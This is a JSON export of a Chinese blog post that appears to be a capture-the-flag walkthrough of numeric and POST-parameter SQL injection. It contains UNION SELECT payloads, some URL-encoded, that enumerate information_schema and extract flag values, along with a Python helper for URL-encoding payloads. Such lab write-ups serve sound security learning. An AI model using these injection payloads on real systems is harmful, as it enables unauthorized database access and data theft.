{"id":455,"date":"2026-07-02T16:09:31","date_gmt":"2026-07-02T08:09:31","guid":{"rendered":"https:\/\/blog.lmoon.cn\/?p=455"},"modified":"2026-07-02T16:09:34","modified_gmt":"2026-07-02T08:09:34","slug":"sql%ef%bc%88%e4%ba%8c%ef%bc%89","status":"publish","type":"post","link":"https:\/\/blog.lmoon.cn\/index.php\/2026\/07\/02\/sql%ef%bc%88%e4%ba%8c%ef%bc%89\/","title":{"rendered":"SQL\uff08\u4e8c\uff09"},"content":{"rendered":"\n

1.\u6570\u5b57\u578b\u6ce8\u5165<\/h2>\n\n\n\n

\u5728\u73af\u5883\u4e2d\u8f93\u51651\uff0c\u5f97\u5230\u5982\u4e0b\u4fe1\u606f\uff0c\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\u53bb\u6267\u884c\u7684\u8bed\u53e5\u4e3a<\/p>\n\n\n\n

SEL\u200b\u200bECT * FR\u200b\u200bOM users WH\u200b\u200bERE id = 1\n\u90a3\u4e48\u8fd9\u4e5f\u5c31\u662f\u8868\u660e\u5982\u4f55\u6211\u60f3\u8ba9\u5176\u8fdb\u884c\u6267\u884c\u8bed\u53e5\u7684\u65f6\u5019\u53ea\u9700\u8981\u5728\u5176\u540e\u9762\u8fdb\u884c\u6dfb\u52a0\u4e00\u4e2a\u62fc\u63a5\u7b26un\u200b\u200bion\uff0c\u7136\u540e\u8ddf\u4e0a\u6211\u4eec\u7684\u6267\u884c\u8bed\u53e5\u5373\u53ef<\/code><\/pre>\n\n\n\n
\"image-20260702101948647\"\/<\/div><\/figure>\n\n\n\n
\u8fd8\u662f\u73b0\u5728\u7cfb\u7edf\u6570\u636e\u5e93\u8bb0\u5f55\u5e93\u4e2d\u4e2d\u67e5\u8be2\u8fd9\u4e2a\u6570\u636e\u5e93\u6709\u54ea\u4e9b\u8868<\/p>\n\n\n\n
1 un\u200b\u200bion sel\u200b\u200bect 1,table\u200b\u200b_name,2,3,4 fr\u200b\u200bom informati\u200b\u200bon_schema.tab\u200b\u200bles wh\u200b\u200bere table_\u200b\u200bschema=data\u200b\u200bbase\u200b\u200b()<\/code><\/pre>\n\n\n\n
\"image-20260702102510001\"\/<\/div><\/figure>\n\n\n\n
\u5f97\u5230\u4e24\u4e2a\u6b64\u5916\u7684\u4e24\u4e2a\u8868\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u67e5\u770bfl\u200b\u200bag\u8868\u4e2d\u6709\u54ea\u4e9b\u5c5e\u6027<\/p>\n\n\n\n
1 un\u200b\u200bion sel\u200b\u200bect column\u200b\u200b_names,2,3,4,5 fr\u200b\u200bom informati\u200b\u200bon_schema,col\u200b\u200bumns wh\u200b\u200bere table_\u200b\u200bschema=data\u200b\u200bbase\u200b\u200b() a\u200b\u200bnd table\u200b\u200b_name='fl\u200b\u200bag'<\/code><\/pre>\n\n\n\n
\u5f97\u5230\u5176\u4e2d\u7684\u5c5e\u6027\u4e3aid\u548cfl\u200b\u200bag<\/p>\n\n\n\n
\"image-20260702102949792\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u63a5\u4e0b\u6765\u89e3\u91ca\u67e5\u770bfl\u200b\u200bag\u8868\u4e2d\u7684fl\u200b\u200bag<\/p>\n\n\n\n
1 un\u200b\u200bion selecet fl\u200b\u200bag ,2,3,4,5 fr\u200b\u200bom fl\u200b\u200bag<\/code><\/pre>\n\n\n\n
\"image-20260702103133157\"\/<\/div><\/figure>\n\n\n\n
fl\u200b\u200bag{894819c2b62743c6adff9d23c73a0985}<\/code><\/pre>\n\n\n\n
POST\u578b\u6ce8\u5165<\/h2>\n\n\n\n
\u4e00\u5f00\u59cb\u8f93\u5165\u6570\u5b57\uff0c\u5b57\u7b26\u90fd\u6ca1\u6709\u53cd\u5e94\u7136\u540e\u67e5\u770b\u6e90\u7801\u53d1\u73b0\u5176\u5229\u7528POST\u4f20\u53c2\u8fdb\u884c\u4f20\u5165\u540e\u7aef\u7684<\/p>\n\n\n\n
\"image-20260702111858638\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5229\u7528Bp\u8fdb\u884c\u6293\u5305\u4f7f\u7528\uff0c\u5c1d\u8bd5\u8f93\u5165\u5f20\u4e09\u53d1\u73b0\u5176\u4f1a\u6709\u5b57\u7b26\u4f1a\u8fdb\u884cURL\u7f16\u7801\uff0c\u4e8e\u662f\u540e\u9762\u7684\u5168\u90e8\u547d\u4ee4\u90fd\u4f7f\u7528URL\u8f6c\u5316\u540e\u8fdb\u884c\u5c1d\u8bd5<\/p>\n\n\n\n
\"image-20260702112159637\"\/<\/div><\/figure>\n\n\n\n
\u5728\u8fdb\u884c\u6d4b\u8bd5”\u7684\u65f6\u5019\u53d1\u73b0\u62a5\u9519\uff0c\u4e8e\u662f\u8fdb\u884c\u5e03\u5c14\u6d4b\u8bd5\uff0c\u53d1\u73b0\u786e\u5b9e\u662f\u4e3a”\u578b\u7684\u5b57\u7b26\u578b\u6ce8\u5165<\/p>\n\n\n\n
\u5f20\u4e09\" a\u200b\u200bnd \"1\"=\"1\"#\n%E5%BC%A0%E4%B8%89%22%20a\u200b\u200bnd%20%221%22%3D%221%22%23\n\n\u5f20\u4e09\" a\u200b\u200bnd \"1\"=\"2\"#\n%E5%BC%A0%E4%B8%89%22%20a\u200b\u200bnd%20%221%22%3D%222%22%23\n\n\u5f20\u4e09\"\u540e\u7aef\u62fc\u63a5\u6210 \"\u5f20\u4e09\"\"\u6240\u4ee5\u62a5\u9519\uff0c\n\u800c\u6d4b\u8bd5\u7684\u5e03\u5c14\u503c\u62fc\u63a5 \"\u5f20\u4e09\" a\u200b\u200bnd \"1\"=\"1\"#\"\u7b49\u4ef7\u4e8e \u5f20\u4e09\"\u540e\u7aef\u62fc\u63a5\u6210 \"\u5f20\u4e09\"\"\u6240\u4ee5\u62a5\u9519\uff0c\u800c\u6d4b\u8bd5\u7684\u5e03\u5c14\u503c\u62fc\u63a5 \"\u5f20\u4e09\" a\u200b\u200bnd \"1\"=\"1\" \u53ef\u4ee5\u6267\u884c<\/code><\/pre>\n\n\n\n
\"image-20260702112714428\"\/<\/div><\/figure>\n\n\n\n
\"image-20260702112745457\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u786e\u8ba4\u53ef\u4ee5\u6267\u884c\u4e4b\u540e\uff0c\u8fd8\u662f\u4e00\u6837\u5148\u5148\u8fdb\u884c\u67e5\u770b\u5f53\u524d\u6570\u636e\u5e93\u6709\u54ea\u4e9b\u8868<\/p>\n\n\n\n
\u5f20\u4e09\" un\u200b\u200bion sel\u200b\u200bect table\u200b\u200b_name,1,2,3,4,5,6 fr\u200b\u200bom informati\u200b\u200bon_schema.tab\u200b\u200bles wh\u200b\u200bere table_\u200b\u200bschema=data\u200b\u200bbase\u200b\u200b()#<\/code><\/pre>\n\n\n\n
%E5%BC%A0%E4%B8%89%22%20un\u200b\u200bion%20sel\u200b\u200bect%20table\u200b\u200b_name%2C1%2C2%2C3%2C4%2C5%2C6%20fr\u200b\u200bom%20informati\u200b\u200bon_schema.tab\u200b\u200bles%20wh\u200b\u200bere%20table_\u200b\u200bschema%3Ddata\u200b\u200bbase%28%29%23\n<\/code><\/pre>\n\n\n\n
\"image-20260702111240245\"\/<\/div><\/figure>\n\n\n\n
\u6267\u884c\u6210\u529f\u5f97\u5230users\u548cfl\u200b\u200bag\u4e24\u4e2a\u8868\uff0c\u7136\u540e\u63a5\u4e0b\u6765\u67e5\u770bfl\u200b\u200bag\u8868\u4e2d\u7684\u5c5e\u6027<\/p>\n\n\n\n
\" un\u200b\u200bion sel\u200b\u200bect colum\u200b\u200bn_name,1,2,3,4,5,6 fr\u200b\u200bom informati\u200b\u200bon_schema.col\u200b\u200bumns wh\u200b\u200bere table_\u200b\u200bschema=data\u200b\u200bbase\u200b\u200b() a\u200b\u200bnd table\u200b\u200b_name='fl\u200b\u200bag'#<\/code><\/pre>\n\n\n\n
%22%20un\u200b\u200bion%20sel\u200b\u200bect%20colum\u200b\u200bn_name%2C1%2C2%2C3%2C4%2C5%2C6%20fr\u200b\u200bom%20informati\u200b\u200bon_schema.col\u200b\u200bumns%20wh\u200b\u200bere%20table_\u200b\u200bschema%3Ddata\u200b\u200bbase%28%29%20a\u200b\u200bnd%20table\u200b\u200b_name%3D%27fl\u200b\u200bag%27%23<\/code><\/pre>\n\n\n\n
\"image-20260702111548768\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5f97\u5230fl\u200b\u200bag\u548c id\u4e24\u4e2a\u5c5e\u6027\u7136\u540e\u5bf9\u5176\u8fdb\u884c\u67e5\u770b<\/p>\n\n\n\n
\" un\u200b\u200bion sel\u200b\u200bect fl\u200b\u200bag,2,3,4,5,1,4 fr\u200b\u200bom fl\u200b\u200bag#<\/code><\/pre>\n\n\n\n
%22%20un\u200b\u200bion%20sel\u200b\u200bect%20fl\u200b\u200bag%2C2%2C3%2C4%2C5%2C1%2C4%20fr\u200b\u200bom%20fl\u200b\u200bag%23<\/code><\/pre>\n\n\n\n
\"image-20260702111726311\"\/<\/div><\/figure>\n\n\n\n
fl\u200b\u200bag{23309ab8e962436ab68a8cee9b7105f3}<\/code><\/pre>\n\n\n\n
fr\u200b\u200bom urllib.parse import quote, quote_plus\n\npayload = input\u200b\u200b(\"\u8bf7\u8f93\u5165\u8981\u7f16\u7801\u7684 payload: \")\n\n# \u666e\u901a URL \u7f16\u7801\uff0c\u7a7a\u683c\u4f1a\u53d8\u6210 %20\nencoded = quote\u200b\u200b(payload, safe='')\n\n# \u8868\u5355\u7f16\u7801\uff0c\u7a7a\u683c\u4f1a\u53d8\u6210 +\nencoded_plus = quote_plus\u200b\u200b(payload, safe='')\n\nprint\u200b\u200b(\"\\n[quote] \u7a7a\u683c\u7f16\u7801\u4e3a %20:\")\nprint\u200b\u200b(encoded)\n\nprint\u200b\u200b(\"\\n[quote_plus] \u7a7a\u683c\u7f16\u7801\u4e3a +:\")\nprint\u200b\u200b(encoded_plus)<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
1.\u6570\u5b57\u578b\u6ce8\u5165 \u5728\u73af\u5883\u4e2d\u8f93\u51651\uff0c\u5f97\u5230\u5982\u4e0b\u4fe1\u606f\uff0c\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\u53bb\u6267\u884c\u7684\u8bed\u53e5\u4e3a \u8fd8\u662f\u73b0\u5728\u7cfb\u7edf\u6570\u636e\u5e93\u8bb0\u5f55\u5e93\u4e2d\u4e2d\u67e5\u8be2\u8fd9\u4e2a […]<\/p>\n","protected":false},"author":1,"featured_media":382,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-455","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/455","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/comments?post=455"}],"version-history":[{"count":2,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/455\/revisions"}],"predecessor-version":[{"id":457,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/455\/revisions\/457"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/media\/382"}],"wp:attachment":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/media?parent=455"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/categories?post=455"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/tags?post=455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}